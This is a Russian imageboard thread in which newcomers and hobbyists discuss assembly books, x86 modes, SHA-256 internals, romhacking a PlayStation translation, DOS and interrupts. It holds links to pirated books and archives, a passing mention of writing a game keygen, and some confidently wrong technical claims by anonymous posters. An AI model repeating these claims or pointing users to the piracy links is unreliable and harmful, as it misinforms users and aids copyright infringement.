Пиздец помотала тебя жизть анончик, сочувствую
>>274719
Я говорил конкретно про Таненбаума, дурака кусок. Конечно читать надо. Кто сплотит то.
Я вот конкретно сейчас читаю вот это:
https://www.goodreads.com/en/book/show/32686074
https://www.goodreads.com/book/show/39695630-learning-malware-analysis
И было ещё дофига всего, за все время.
Надо быть совсем уж конечным еблабаном, чтобы говорить что книги не нужны. Не знаю где ты в моем сообщении это углядел.
А ну да извини я заебланил, я просто увидел твою фразу про техническую литературу вначале и не сразу сообразил что ты про документацию говоришь подумал что раз в контексте у вас книги обсуждались то ты про книги сказал.
Всё ок.
Пишу в тред обучения одного залётного нуфага всем тредом.
Между 16bit/IA-32/AMD64 есть некоторые отличия в наборе команд и в кодировании инструкций. Если попытаться исполнить коды из неподходящего режима/расширения, то довольно быстро исполнение упадёт с каким-нибудь исключением (выборки/декодирования или исполнения инструкции).
Спасибо тебе большое, анон. Да ты угадал здесь я одна ньюфаня которая уже месяца 2 как окопалась в вашем тредике и задаёт тупые вопросы. Не пропадайте.
А ведь 32битный режим обратной совместимости или как он там в 64 называется он ведь не равен оригинальному x86?
Ой да ладно тебе, будто что-то плохое.
Главное что не фуллстэк вротендер, лол)
Кстати а тематический чатик в дискорде почему еще не создали? Англоязычный на тему асма то у меня и так есть, но всё-таки.
Или он нахуй никому будет не нужен?
Да уж. Не быть вротендером в 2К22 - уже само по себе большое достижение.
>элементарнейшие проёбы уровня когда нужно было множество однотипчных команд уровня "create file 001 create file 002 ... create file 090" сделать он их брал блядь вставлялт в текстовый редактор, копировал там потом как-то менял там цифорки и копировал этот огромный текст назад в консоль. вместо тупо цикла с переменной.
Так а при чем здесь книги? Эту хуету в любом курсе по программированию для начинающих расскажут. Кирпичи Таненбаума такого не вылечат.
>>274683
>нормально будет сразу начать ковырять плюсы, и в процессе или даже после читать теорию
Конечно. Тебе сейчас иксперты двачерские насоветуют, блять, кирпичами Таненбаума себе голову расшибать или наворачивать его суррогаты, просто, чтобы начать кодить. Даже в вузе у нас были сначала кресты, а потом уже архитектуры ЭВМ всякие, ОС и прочее. Забей на эту хуйню, даже не факт, что она тебе понадобится.
Никто и не говорит что если человек занимается вебом или геймдевом или тупо любое другое рпикладное по пишет что он должен обязательно знать о компляторах, ассемблерах и архитектурах, но если ты с системным программированием связан то это обязательно. Ковырятся-ковырятся и ещё раз ковырятся, архитектуры, как работают шины, драйвера, ядра осей, компиляторы, отладчики, то-си боси хуй на троссе это необходимо просто.
А если ты в геймдеве или вебе сидишь то понятное дело что это не пригодится.
Так он голые плюсы хотел, а это не равно системное программирование. Ими внедряют тот же машин лернинг в продакшн, в алгоритмическом трейдинге с ними ебутся и т. д. Там по большому счету излишний дроч на архитектуры, ядра, компиляторы и сети просто не нужен, ни в виде Таненбаума, ни в виде суррогатов.
И уж не думаю, что у вкатыша в системное программирование возникнут такие вопросы - там как раз более чем очевидно, что весь этот кал жрать придется по долгу службы.
А понял. Ну да ты прав, с++ ещё в геймдеве используют. А так конечно если системное программирование тот там упор на си больше делать надо даже нежели на цпп, ну ассемблеры само собой, хотя они так часто нужны как си но всё же без никуда ето база.
а ещё ведь нужно знать устройство bios\uefi всяких, об этом тоже книжечку нужно будет почитать у них ведь наверняка какие-то свои api есть
>>275011
>архитектуры, как работают шины, драйвера, ядра осей, компиляторы
А я говорил, что по всему этому существуют более доступные аналоги (и ссылки были, и на ОС и на построение интерпретаторов и компиляторов, с реализацией. А в книге по ОС с псевдокодом на Си), чем сухой Таненбаум и Книга Дракона, просто у нас имена этих авторов не разрекламированы всякими профессорами из университета и мин. обром.
Поэтому, самое главное, что перво непременно необходимо это английский. Хотябы B1-B2. И для тебя целый новый дивный мир откроется.
Какие нахуй архитектуры, компиляторы, ОС и сети, если человек попросил голые плюсы, а они ему, может, нужны для какого-нибудь банального эффективного машин лернинга в продакшене, например. Ему по факту ни Таненбаум, ни его суррогаты не нужны, вот и все. Сыр-бор загорелся из-за этого.
Ну да да я понял. Мне просто слово суррогаты не понравилось. Как будто все кроме Танненбаума шлак. Нет анонче, ты не прав.
А вообще да, срач уровня JS тредов.
ЗЫ Я вообще сюда сейчас зашел чтобы сказать как же меня бесит синтаксис ассемблерных вставок в GCC. Почему не сделать что то вменяемое как в Visual C++ блять.
А понял спасибо, то есть x86 это много архитектур. А почему семейство? Что их объединяет? А что различает?
Потому что x64 это тоже самое что и x86, только с 64-битными регистрами, но это наёб человечества маркетолухами, 64-бит это очень большие числа, ими оперировать сегодня нет необходимости. Вот их и разделяют.
Ещё есть другие архитектуры, risc там итд, можно ваще самому замутить свою архитектуру.
другой анон
Да я не настолько ньюфань, знаю что другие архитектуры есть, просто не могу разобраться чётко во всех этих многочисленных версиях x86.
Ну почему на x64 процессоре есть длиный режим для выполнения 64 битных программ и 32битный режим совместимости для 32 битных программ.
Но почему-то винда 98 на процессорах 86-64 козлит, хотя 2000ая например нет, но архитектура то у них заявлена одинаковая IA-32
Спасибо большое анон, щас читаю первую книгу которые ты посоветовал ассемблер степ бай степ, очень годно. Читаю без пропусков, автор вначале уже про системы счисления и память дополнил многие проблемы которые у меня был, сразу видно что ему реально интересно как всё работает до самой сути, годно, годно.
Надо запаковщик доделать. Чтобы запаковывал до указанного размера. Со следующей недели начну.


606x1280, 4:49
https://dropmefiles.com/NHUaw
Так как я за гласность. Решил выложить исходники, там на английский и русский язык. Прога не умеет менять раскладку, так что за этим нужно следить самому. Внизу исходника бонус, можно вставить в окно проги нескучную картинку.
Ну... можно легонечко потролить недоммо всякие, в которых нет ctrl+v.
Наташа with love
DeskPins - мастхэв
Спасибо за исходники, программа от создателей видео где спамится "СДОХНИ ФОШЫСТ". Может потом скачаю
Алсо, я ньюфаня вкатывающаяся, щас книгу читаю по асмам IA32 так вот у меня вопрос если процики поддерживают обратную совместимости то почему на виртуал боксе стабильно не работают нормально винды которые ниже 2000? Почему 98 ещё в процессе установки на вб выдавала кучу ассемблерных инструкций, хотя платформа у неё ia32 как у 2000 и как у xp но те нормально эмулируются.
Почему досовские окна конфликтуют с современными процессорами?
Как скачать книгу Дениса Юричева Reverse Engineering для начинающих? Раньше она открывалась по адресу https://beginners.re/RE4B-RU.pdf а теперь ссылка не работает. Английская версия тоже не скачивается. Остальные скачиваются нормально. На лоре один юзер написал, что якобы нужна авторизация чтобы скачать по этой ссылке. Что это вроде как испытание. Если сможешь одолеть, то скачаешь. Кто нибудь в курсе как скачать?
https://beginners.re/main.html
Интересно как это работает.
>>288284
Не знаю что такое вб к сожалению, но мне кто-то здесь уже говорил что это связано с тем что процессор слишком быстрый для винды. А у меня вопрос а не похуй ли винде на его скорость? Ну быстрый и быстрый какая разница 10000 инструкций выполняются за 0,25 секунды или за 1 секунду. Чем это влияет то?
наверное под vb ты виртуалку имеешь в виду. а что её можно замедлить? ты имеешь в виду выполнение самого приложения вб замедлить или что?
Ну хотя с виндой 98 у меня вырисовывается уже предположение насколько я помню ошибка вылетатла во время установки на стадии обнаружения устройств, plug and play и вот это всё возможно оно слишком быстро выполнялось и система не успевала сконнектится с оборудованием от него же нужно сигналы согласования получить и т.д.
VirtualBox подумал что ты на нём играешься.
>А у меня вопрос а не похуй ли винде на его скорость?
Я бы сначала проверил, может похуй, а может и нет. Если память не изменяет, то 98 винда у меня работала на VMWare, а для 95ой я замедлял скорость проца. Или я вообще всё придумал.
Тактовую частоту проца.
>В VirtualBOX есть ползунок, где вы можете настроить% хост-процессора, который может использовать гостевой процессор. Такой процент относится к каждому ядру.
>В VirtualBOX нет способа симулировать многоядерность с разными скоростями на каждом ядре, только один слайдер для всех ядер.
>Установка ползунка на 50% приведет к тому, что гостевые ядра будут работать на 1/2 ядра хоста (основы для каждого ядра).
>Так что, если у вас есть дека-ядро (10 ядер) на хосте и три ядра на гостевом (три), и вы хотите, чтобы гостевая частота работала на X МГц, а хост - на Y МГц, просто проигнорируйте количество ядер, чтобы вычислить процент.
>Формула будет: процент = 100 * X / Y>>289732
мерси как-то не заметил.
Шта? Ничего не понял.
>Что это вроде как испытание.
https://beginners.re/paywall/
Вроде был просто пейвол (первое время даже в крипте), башляешь пару баксов и держи ссылку - что там лысый еще придумал с этой конторой Torus Company, хз
>>290300
Бля, я бы заплатил этот несчастный доллар но я на патреоне заблокирован сам не понял как так вышло
Так на либгене есть издание 17 октября 2021 - http://libgen.is/search.php?req=Dennis Yurichev&column[]=author
И на русском от 27 ноября 2020 - http://libgen.is/search.php?req=Денис+Юричев&open=0&res=25&view=simple&phrase=1&column=def
Нашел на реддите визуализатор генерации этого хеша - sha256algorithm.com, круто сделано интересно/наглядно и вроде бы все ясно, но.. Захотелось пощупать как генериться дайджест для длинных сообщений (для которых пришлось бы нарезать несколько 1024 битных чанков) и тут затыка:
- на первом прогоне хэши H(0) стандартные, согласно RFC:
H(0)0 = c1059ed8
H(0)1 = 367cd507
H(0)2 = 3070dd17
H(0)3 = f70e5939
H(0)4 = ffc00b31
H(0)5 = 68581511
H(0)6 = 64f98fa7
H(0)7 = befa4fa4
- при проходе последнего слова в чанке мы обновляем эти h0, h1,h2 и т.д. складывая первоначальные значения с временными переменными (выделено на пик 1)
- генерим следующий чанк (формируем/ксорим/сдвигаем данные как положено) и вот для него по идее должны быть проинициализированы уже новые (сформированные ранее сложением) h0, h1,h2 и т.д. но вместо них для меня непонятно откуда взявшиеся значения (выделено на пик 2)
- самое интересное при проходе последнего слова в новом чанке можно увидить ожидаемые h0, h1,h2 и т.д. сформированные ранее (выделил на пик 3)
Короче вопрос, откуда взялись Initial hash value's со второй картинки?
---
Если что, искомая строка в HEX режиме:
0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef

Пардон, первый пик должен был быть другой, макака что-то сожрала
Спасибо за суету

>>291272
Вчера уже совсем запутался, наделал ошибок:
>нарезать несколько 1024 битных чанков
512 конечно же
>H(0)0 = c1059ed8
это из спек для SHA-224, для SHA-256 значения другие
но на том сайте все инит хэши корректные
---
Основной вопрос пока без ответа, как для второго блока был получен этот h0 со значением 96 43 A0 E7 учитывая, что в конце предыдущей итерации h0 был расчитан как BA 5C DF 6C (причем это значение используется в конце второй итерации, когда приходит время обновлять хэш значения), а сама эта ситуация повторяется и в третьей итерации, и четвертой?
В википедийном псевдокоде и сишной реализации из openssl никаких дополнительных действий с инит хэшами не нашел..
Как будто в этом визуализаторе есть расхождение в актуальных значениях и тех, что он отображает в блоке Working variables
Результат пятилетнего байтоёбства.
http://console-forum.com.ua/cf26/valkyrie-profile-dh-th28.html
Оказалось что есть перевод диалогов ещё с 2008-го, осталось только запихнуть их в игру.
И остался один важный вопрос - как мне к ним добираться в игре чтобы потестить?

960x540, 0:59

>Как будто в этом визуализаторе есть расхождение в актуальных значениях и тех, что он отображает в блоке Working variables
ЗиС
Автор поправил
>Assembly Language Step-By-Step by Jeff Duntemann
ещё раз спасибо тебе, анон. Читаю её сейчас уже на 6й главе очень много годной инфы помама ассемблеров узнал, люблю когда авторы заходят издалека и много сторонней инфы подают за это люблю Танненбаума и вот этого автора Джефа Дунтемана, спасибо, годная книга не перестаю радоваться от чтения.
Как с ней завершу перейду к твоей книге по 64 битам.
>Классика это то что все советуют но никто никогда не читал.
Кстати, да, очень точное высказывание.

Сидел итт.
Если что, в 010 Editor можно свою кодировку делать, это похоже единственный редактор с такой фичей.
>Сидел итт.
Понятно, а насчет видео не понял. Это игра или что? На ассемблере?
>010 Editor
Купил лицензию?
Мне надо подтянуть знание архитектуры PC. А значит ассемблер Но не знаю как практиковать. Чтобы такое на нем написать?
>Это игра или что?
Перевод игры Valkyrie Profile на Sony Playstation.
Ромхакингом займись. Начни переводить.
Спасибо, но какой смысл про компьютерную архитектуру читать если про неё уже читал книгу от других авторов, разумнее будет почитать про какие-нибудь компляторы или отладчики про то что ещё не знаешь.
У меня в планах после книг по ia32 и 86_64 почитать про отладчики, компляторы. Потом хотелось бы таненбаума про компьютерные сети навернуть и ещё почитать про всякие bios'ы и uefi про их структуру. Потом русиновича было бы неплохо навернуть про устройство шинды.
Ну типа в обычной кодировке A это 64, а в твоей это Допустим 2, но визуально выводится как А.
Потому что антиплагиат я так подозреваю анализирует текст фотометрически, то есть анализирует его как изображение путём распознания, так что кодировку менять бессмысленно, системку на наебать.
>Ромхакингом займись
Впервые услышал это слово. Игры под консоли писали на ассемблере? Для меня это новость. Тема интересная. Спасибо за подсказку.
>Начни переводить.
Переводить что?
>Перевод игры Valkyrie Profile на Sony Playstation.
У меня нет Sony Playstation. Поэтому не будет мотивации.
>>292994
>антиплагиат
Ты какой антиплагиат имеешь ввиду? Есть инфа по теме как определять плагиат в текстах? Есть идея создать веб-приложение для проверки уникальности текста.
>какой смысл
Как знаешь. Я просто нагуглил ее когда гуглил книгу по ассемблеру того же автора. Мне показался подход изучать архитектуру через одноплатник интересной. Много ли ты понял из книги Таненбаума по архитектуре? x86 очень сложная архитектура. Без практики сложно ее понять. Заучить просто так нельзя, не будешь понимать. Практиковаться сложно, не везде можно залезть руками с помощью ассемблера. В общем это как изучать устройство ДВС по книге, не имея возможности залезть в него руками. Очень абстрактные знания. Мне кажется с одноплатниками проще, там ARM, который считается чуть ли не эталоном инженерных достижений.
>У меня в планах после книг по ia32 и 86_64 почитать про отладчики, компляторы.
Хочу написать компилятор.
Да, ну, только для кастомных систем вроде приставок или каких-то микроконтроллеров, где ресуров хуй да нихуя. Большие системы почти всегда были построены вокруг компиляторов более высокого уровня. Юникс, cp/m и т.д.

1200x1200, 5:07
У тебя каргокульт зашкаливает. Выключай или не сможешь в asm.

Такая кодировка в игре, зачемто буква T стоит именно там и точка в конце тоже.
И 31 пробел
По каким материалам можно изучать как создавать графические приложения на ассемблере? Сколько смотрел оглавления книг, везде только про сам язык. Поэтому никогда не было мотивации его изучать, так как не знал что на нем можно делать. Хочется еще научиться работать с сетью на асме. Еще понять как на нем пишут компиляторы и как в него компилируется код.
Спасибо за подсказку. Дело в том, что почитав вскользь разные книги, статьи и руководства, на нашел в них кратких ответов на общие вопросы. Из-за этого пропадала мотивация читать полностью и выполнять задания. Нет объяснения общего устройства компиляторов. Компоненты компилятора отличаются ли от компонентов интерпретатора (как я понял почти нет, как минимум в обоих случаях есть парсер). Ну и всякие другие простые вопросы. Мне это нужно для формирования общей картины. Уж так устроен мой мозг, я мыслю образами. Если образ не сформирован, то мне ничего не понятно.
Еще мне непонятно как работает компилируемый код. Во-первых непонятно во что обычно компилируют код. В ассемблер ли, или в машинный код может, или еще во что-то. И непонятно как он исполняется. Пишут ли для него какой то рантайм и если да, то как работает этот рантайм, зачем он нужен.

>The1tma5br0kn
>Чтобы такое на нем написать?
Нужна заготовка, чтобы при считывании символов с экрана в программе срабатывал "скрипт". Сам скрипт не нужен, нужна заготовка от начала считывания символов, до начала срабатывания скрипта. Не важно как они появились на экране, если они есть - срабатывает скрипт.
а как это "симовлы на экране"? Наскоьлко я знаю в линуксе есть stdout стандартный с дескриптором файла 1 который отправляет вывод на экран, ну это же вроде пиксели отрисовывает всё разве не? Сами символы то навеное где-то в памяти сидят, врядли монитор и видеокарта что-то знают о симовалах, они скорее пикселы тупо отрисовывают
>они скорее пикселы тупо отрисовывают
Кстати, да. Для начала можно скопировать видеопамять со словом ВОРОНА в файл. Посмотреть как оно там располагается, скорее всего у разных видеокарт по разному. Потом прописать условие для поиска с разными шрифтами там и т.д. Это первое что пришло в голову.
> Потом прописать условие для поиска с разными шрифтами там и т.д.
Бред. Это нерешаемая задача. На разных разрешениях символы всегда будут выводиться по разному, на разных шрифтах, на разных сглаживаниях.
Это сработало бы только в алфавитно-цифровых режимах видеокартны, обычно с адреса 0xb8000, если не использована другая страница. Но сейчас алфавитно-цифровой режим видеокарты используют разве что фрюниксы до старта Икс-сервера. Да это и то это не факт. Точнее, уже лет 15 как эмулирют его и в графический режим переключается ещё начальным загрузчиком.
Это и не должно быть универсальным решением. К слову.
Не ну почему есть же программы котоырй распознают текст на фото. Можно действительно скопировать видеопамять и на неё распозновать, чем картинка монитора от обычного фото бумажной страницы отличается? Вопрос в том что это тема уже какго-нибудь компьютер вижн с алгоритмами и вот это всё к системкам и байтоёбству это уже такое значением не имеет.
>Не ну почему есть же программы котоырй распознают текст на фото
Вообще не вариант. Такая программа будет тормозить всю систему и работать будет невозможно. Как вариант, можно попробовать перехватить системные вызовы DrawText и DrawTextExA, потому как в итоге всё ним сводится, но это нетривиальная задача. И потребуются права админа.
А под Линуксами вариант патчить библиотеку Xft.
Не ну я честно говоря особо не вчитывался в то что ты хочешь( без обид) просто мельком увидел о чём вы пишете и решил 5 копеек вставить.
Ну вообще у тебя конечно странная потребнность с экрана что-то считывать. Так соглашусь что это не варик и нужно пытаться какие-то системные вызовы перехватывать их аргументы или хз.
Можно ещё если на винде драйвер-фильтр написать какой-нибудьи поместить его в стек например, но это опять же получится перехват информации с ввода т.к. её можно перехватить только когда она поступает на дисплей, а обратно её оттуда уже не вытащить.
Можно задать интервал опроса видеопамяти.
Думаю очень нужная программа, ведь в ней можно будет искать не только символы. а раздавать хэдшоты, нет
Я к сожалению хотел бы, но слишком ньюфаня для такого сейчас в IA32 вкатыаюсь по книжке, хотя бы в базовые инструкции. Но завидую конечно, смотрю на посты таких как ты первоклассник на 11 классников качков короче.
А ещё про какие-то тут запаковщики один анон писал что это такое, архиваторы чтоли? В чём их суть? Так интересно это всё.
ньюфаня вкатыш
>А ещё про какие-то тут запаковщики один анон писал
Угадай кто?)
Вот тут>>291628 когда меняется сцена(затемнение), происходит распаковка данных с буквами. У этого куска данных есть заголовок с размером для распаковщика внутри игры. Я написал запаковщик, чтобы после того как я поменяю буквы их запаковать и подсунуть на диск, чтобы игра не заметила подвоха, так как новый размер куска был меньше. Но она сука замечала, и в счётчике игрового распаковщика был старый размер. Но так как я не хотел нарушать целостность игры, решил написать запаковщик с указанием размера запакованного куска, и сука написал. Просто в старом запаковщике поставил условие: если ему встретится чанк, который можно запаковать и который будет содержать нужную разницу размеров, то его не надо сжимать, а оставить как есть.
Но оказалось, что проблема была на поверхности и я лажанулся.
Да это всё просто на самом деле, надо просто начать писать, по ходу всё начинает получаться. Сложность в том, как потом вернуться к старой простыне и понять чё там ваще написано.
>Сложность в том, как потом вернуться к старой простыне и понять чё там ваще написано.
комментировать каждую строчку отделять блоки кода выполняющие общие задачи и описывать подробно каждый блок комментарием
Согласен. Ещё бывает когда вставляешь кусок кода в простыню и он сразу начинает работать, как будто джекпот выиграл.
https://www.it.uu.se/education/course/homepage/os/
Ну ладно, спасибо. А как напечатать адреса? Я это сделаю но позже я щас в ноутбуке ssd 250гб буду скручивать и ставить жёсткий диск на 7200 оборотов объёмом 1тб памяти не хватает, а этот запуск за 5 секунд мне не всрался если честно.
Поэтому системку буду менять с нуля.
> win 95 и 98 это по сути ms doc на которой запускается графическая оболчка. Правильно? Правильно.
Neekhooyah.
MS-DOS там был чем-то вроде загрузчика, всего лишь. В досе API-то по сути не было. ФС, диск, немного экран и клавиатура - по сути всё, остальное колхозили внутри приложения напрямую в железо - setup досовских игрушек с настройками саундбластера все помнят? :) Ни гуя, ни сети полноценной, ни звука, а 9x всё это умели в полный рост.
Да так все системы впринципе работали однопроцессные. Всё поменялось с приходом гуя.
А до доса вообще на всяких CP тупо они использовались чтобы вызывать приложение, перезагрузить компьютер и комп уже запускал приложение без самой операционки.Мда тогда всё довольно просто было и не надо было много знать, да и взломать что либо проще было, после внедрения hash функций и сертфикатов с двусторонним шифрованием это становится анриал тупо.
Гугел и педивикия о таком не знает, motolithic kernel и всё. Нескучные codenames для таких хуиток пришли позже из мира пердоликса. Сама винда 9x как целое - Chicago, Nashville, Memphis...
Понял, спасибо. Ну впринципе норм, я так понял что dos использовался чисто чтобы загрузить windows 9х, а после этого он выгружался и шёл нахуй и windows 9x уже своими средствами взаимодействовала с железом и прочим?
asmr
Хуйню он пишет. Дос программы запускались как есть и могли нахуй повесить весь компуктер.

480x360, 4:27
Расскажешь что за привычка?

Это чё архитектуры какие-то? Ну судя, отдельный тред врядли взлетит, меня самого прошивки интересуют интересно чем программировнаие микросхем от процессоров отличается.
Я вот читаю читаю всё равно пробелы широкие, хотя книжку по архитекутре навернул, сейчас вот ассемблер 32 учу, до этого танненбаум про операционные системы, ну до этого практика на классических(для треда) с\с++, но мне мало, я хочу до сути докопаться и чем глубже копаю тем большеи нфы появляется, щас я уже знаю что надо после 64 разрядной архитектуры про компляторы читать, про отладчики и т.д.
>Это чё архитектуры какие-то?
Стыдно не знать. Я хоть и сам порридж, но ZX spuctrum, Commadore 64, Amiga и IBM, т.д. должен знать каждый уважающий себя байтоеб.
Вот, наверни в свободное время, чтобы немного в курсе быть. Может быть и демки захочешь писать.
https://youtu.be/F5b-ZHy7XtU
https://youtu.be/JKNyToqz9-w
https://youtu.be/G5GyO2DgQlM
П.С. Я другой анон, если что.
>rizin.re
выглядит как СЖВ форк радара2 (учитывая, что тиран-создатель последнего никуда не перекатывался и пилит спокойно сабж дальше на коленке)
хотя на ЛОРе был чел занятый в разработке этого ризина/каттера, который красиво расписывал, как в форке будет много всего нового прорывного и что pancake вообще только и умеет, что шутить про анал в именах переменных
Если предполагается программировать эти машины на АСМе, то пиши в этот тред. Думаю, вообще, нет смысла в одельном треде: тут и так полтора анона тусуются.
>>299334
https://cloudflare-ipfs.com/ipfs/bafykbzaceb77e56d74cuuqp5asdv3dzq7icsx2ri25aarpmmzm5lt66cij7ze?filename=(Серия _Классика computer scince_) Марк Руссинович, Дэвид Соломон, Алекс Ионеску, Павел Йосифович _ [перевел с английского Е. Матвеев] - Внутреннее устройство Windows-Питер (2018).pdf#page=431
https://answers.microsoft.com/en-us/windows/forum/all/physical-and-virtual-memory-in-windows-10/e36fb5bc-9ac8-49af-951c-e7d39b979938
Утилита VMMap показывает виртуальное адресное пространство процесса.
RAMMap показывает структуру физической памяти.
Ну и API используй. https://docs.microsoft.com/en-us/windows/win32/memory/about-memory-management
какой компилятор выбрать под win-10 x86-64? учусь в местной шараге где преподают под x80 на эмуляторе
и может ещё пару советов накидаете? не вкатываться - не принимаю пока что обложился разно литературой - большая часть гласит что она для тех кто уже умеет
>Оповестить потом не забудь.
>Я как раз архивы этого журнала начал перечитывать.
Ну собственно вот
https://xakep.ru/issues/xb/002/
https://anonfiles.com/l6cdR2J1x4/_Assembler_rar
NASM
FASM конечно же.
Томаш Грыштар гений, который сделал действительно независимую платформу для программирования. А не то что эти высокоуровневые шизики, которым кажется что вот так правильно.
Иначе в асме смысла нет.
Поэтому, ещё раз скажу своё иимхо - больше делайте чем читайте. Это если ты не троль, а правда новичок, потому что я сам не профи.
асм нужен только в реверсе(и то только читать) или в компьютерной инженерии.
Даже в embedded все пердолятся с сишкой или крестами и кросс компилят под нужную архитектуру.
По реверсу бери Ден Юрича, по железякам Computer Sytems from Programmer Perspective или nand2tetris.
при этом надо добавить что работа реверсера в чистом виде это анализ малвари
Спасибо
Ах, DOS. Текстовый редактор Лексикон. Нортон коммандер. QBasic. autoexec.bat и config.sys, имена файлов 8.3.
Кто сейчас помнит о таком? Чем отличается expanded memory и extended memory?
Остались ли ещё люди, вешающие свой обработчик прерываний поверх существующего?
Кто помнит, что такое резидентные программы?
Hyper threading, не?
Есть утилитка от sysinternals для этого.
Да. Логический процессор в WinAPI - это есть hardware thread.
У меня 2 вопроса:
1. Почему происходит потеря битов при передачи по lan кабелю
2. Как это предотвратить? Может есть какие-нибудь команды, режими копии которые включат проверку после передачи каждого файла на его целостность.
Как вообще устроены загрузочные носители?
Ну вот, допустим загрузочная программа которая загружается с cd диска.
Я так понимаю на cd диске есть mbr таблица там есть код на загрузчик который загружает какую-нибудь дос, которая загружает свои файлы + всякие драйвера на поддержку указателя мыши и т.д. и после этого запускает саму программу?

640x360, 3:46
Асм лёгкий да, для чтецов.
Кидайте исходники чё. Слабо?
я ассембле изучал чисто чтобы понимать лучше как пека работает.
Самое сложное наверно генератор ключей для игры Dominions II. Хоть игра мне тогда очень нравилась (точнее ее сеттинг), создание генератора оказалось еще интересней самой игры.
Я щас из интереса копаюсь в mbr таблице пытаюсь свой собственный бутлоадер написать, понятное дело что об uefi буте речи не идёт пока.
ньюфаня которая с осени ебёт здесь всем мозги

640x360, 5:13
Для этого нужен эмулятор пк с отладчиком. Но знаешь что? Его надо написать, на АССЕМБЛЕРЕ!!
Причём он явно есть у пиндосов, потому что тупо проще написать эмулятор пк для пк, чем эмулятор ps1 на пк.
А? Эмуляторы у меня есть - Bochs, QEMU, но, как я и сказал, познанием архитектуры компьютера и внутренностей ОС на примере x86 я заниматься не хочу. При чём здесь ассемблер тоже не очень понял, всё на C/C++ замечательно пишется, браузерные так вообще на JS.
Думал вот с 6502 или 4004 начать, но не смог нормальных эмуляторов пока найти.
Эмулятор со встроенным отладчиком. Чтобы брейкпоинты были, трассировки, дамп памяти, вот это вот всё.
>всё на C/C++ замечательно пишется, браузерные так вообще на JS.
Ну вот, не кривя душой, чёто нету таких эмуляторов. Если всё так замечательно пишется, то почему не пишется? Я не тролю и не подъёбываю, ну это просто реальность. Где это всё? Чем занимались эти люди всё время? На всех эмуляторах приставок есть встроенный отладчик, на всех, даже на zx-spectrum есть(вот начни с него), а вот на эмуляторе пк нет такого и хоть ты тресни.
Есть ли у кого посвежее?
Отдал бы доллар, да патреон разлюбил мою визу
чем читаешь? где можно кратко ознакомится с содержанием exe-файла? это PE-заголовок и дальше сама программа, я что-то упускаю?
Постправда беспощадна.

Высокоуровневые, оправдывайтесь за ваш веб 2.0
Факт: это не работает. 2022
>Киберпанк - это манямирок
Киберпанк это антиутопия. Observer идеальный пример киберпанка.
А 2077 это ебаная дешевая комедия, вообще не по канонам жанра.

Да-да. Вот этот трек купил хз когда, до сих пор мне предлагают его купить опять. Киберпанк такой киберпанк лол.
2022
Следующего эпизода не будет, у него не сохранился прогресс.
Ну так для этого надо крякать, начиная с легких кракми и вообще всяких ctfок, книги читать по теме реверса, много много практики, а не просто сидеть и книгу по асму читать
бля а сейчас ведь ни hackthebox ни tryhackme, вообще нихрена не оплатишь ... зараза блять
про таблицы векторов и функции прерывания я знаю.
в том плане что int куда-то что-то пишет? или может обращается не по своему уровню кольца и операционная система реагирует на это? могу ещё много разных вариантов придумать
>У меня 2 вопроса:
Да. Такое бывает.
Почему происходит? Дело в том, что техника не совершенна.
И технологии, применяемые при передаче по LAN, тоже могли бы быть и получше.
В частности - контроль целостности данных. Но сейчас есть то, что имеем.
Как известно, контроль целостности с помощью CRC не очень-то и надёжен. Те же криптографические хэши куда получше будут.
При передаче данных по интернету (в тех же торрентах), случаются ошибки. И в торрентах специально имеется дополнительная проверка целостности данных.
В общем, если не заморачиваться - можно предложить такой способ.
Всё что нужно передать по сети, сначала архивируется в RAR архив. В нём есть встроенные средства контроля целостности данных. Архив передаётся по сети,
или даже открывается по сети на удалённом компьютере с помощью WinRAR, и распаковывается там. При распаковке WinRAR следит за целостностью данных.
Ещё можно посчитать хэш SHA256 этого архива перед копированием по сети. Потом, скопировать по сети. А затем, посчитать SHA256 на другом компьютере для скопированного файла.
Ты что, не здоров? По-моему, и гопники на улице ведут себя повежливее.
Спасибо, анон, снимаю шляпу. Моё увожение за подробный и исчерпывающий ответ. Точно, винарчиком буду гонять.
А можно ещё тупо не заморачиваясь в вин рар всё засунуть, проверить хэш, потом на другой комп скинуть и там хэш проверить и всё заебумба
так получается int это аппаратное прерывание? управление передаётся какому-то микрокоду в ПЗУ?
а как работает программное прерывание? сам механизм вызова функций ОС?
Ну я же чмоня тупой. Мне просто чтобы открыть лекцию почитать/посмотреть уже тяжело.
В новеньком WinRAR версии 5 и выше, есть контроль целостности по BLAKE2. Она внушает доверие, и куда круче CRC.
В общем, это означает что даже предварительно хэшировать архив перед отправкой не нужно. И проверять после.
Включаешь BLAKE2, создаёшь архив. Перекачиваешь по сети, распаковываешь на другом компе. Ну и прямо во время распаковки будет действовать мощный контроль целостности.
Спасибо, анон. Затестирую скоро как раз ожидается передча огромной партии файлов под 35гб
>>320262
я думаю что наверное файлы ещё будут быстрее передаваться по сети, поотму что в предыдущие разы я тупо копировал папки и вставлял их на другом компе. и когда дело доходило до маленьких файлов в большом количества типа фото то скорость с 11мегабайт в секунду проседала до 1-3 мегабайт в среднем. я не сильно разбираюсь, но мне кажется это связано с тем что компьютер создавал запись в файловой системе для каждого файла и это тормозило процесс, а если всё одним архивом перемещать то запись будет создана один раз соотвественно что заметно сэкономит время.
Ты что скажешь, анон?
сам нашёл что-то похожее на ответ:
https://www.youtube.com/watch?v=dVZrHGNGvb0
во второй или третьей лекции даётся ответ, да и вообще очень дельно рассказывают, рекомендую к ознакомлению начинающим
в c\c++ int это тип данный integer целое число
в ассемблере int это interrupt прерывание. Ты указываешь в специальных регистрах код прерывания, его параметры и вызываешь его по коду 80(вроде бы)
Такое прерывание называется программным, потому что происходит оно программно а не от сигнала поданного на процик от физического устройства.
Ну и короче говорят когда ты делаешь int 80 оно идёт вниз ramа и там есть таблица векторов прерываний и он по коду ищет нужный вектор передаёт ему параметры из регистров и ждёт ответа, ну и ещё чтобы вернуться к твоей программе в нужное место он адрес след. инструкции в стек помещает.
Ну короче в векторах прерываний как правило находятся программы которые предоставляются bios\uefi компьютера и операционной системой.
Надеюсь граммотно раписал, но на точность не претендую я сам ньюфаня ёбаная.
спасибо - у меня была путаница, в общем есть прерывания аппаратные/программные и как бы это выразится... програмно-аппаратные по крайней мере я так понял в последнем случае процессор физически прерывает свою работу программой и передаёт управление себе же (каким-нибудь своим блокам и контроллеру прерываний - очень размыто как и мои знания)
